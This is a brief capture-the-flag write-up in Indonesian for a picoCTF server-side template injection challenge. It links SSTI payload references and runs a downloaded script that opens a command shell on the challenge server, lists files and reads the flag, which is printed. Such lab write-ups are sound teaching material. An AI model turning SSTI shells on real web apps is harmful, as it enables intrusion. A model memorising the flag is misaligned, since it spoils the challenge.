ctf_aria

write up ctf by ariafatah

---

Project maintained by ariafatah0711 Hosted on GitHub Pages — Theme by mattgraham

soal

I made a cool website where you can announce whatever you want! Try it out!

launch istance

Additional details will be available after launching your challenge instance. I made a cool website where you can announce whatever you want! Try it out! I heard templating is a cool and modular way to build web apps! Check out my website here!

hint

• Server Side Template Injection

solve

• saya melihat bahwa ini adalah web SSTI
• saya pertama mencoba payload simple dengan payload sederhana SSTI ``````
• setelah itu saya mencoba payload dari sini
  • https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html
  • me2nuk.com/SSTI-Vulnerability/

python

• download E_SSTI1.py
• ubah url nya: ```TARGET_URL = “http://rescued-float.picoctf.net:61261/”``
• lalu jalankan

  python3 E_SSTI1.py
  Shell> ls
  __pycache__
  app.py
  flag
  requirements.txt
  Shell> cat flag
  picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_5c985a9a}
  Shell> ^C
  

flag

picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_5c985a9a}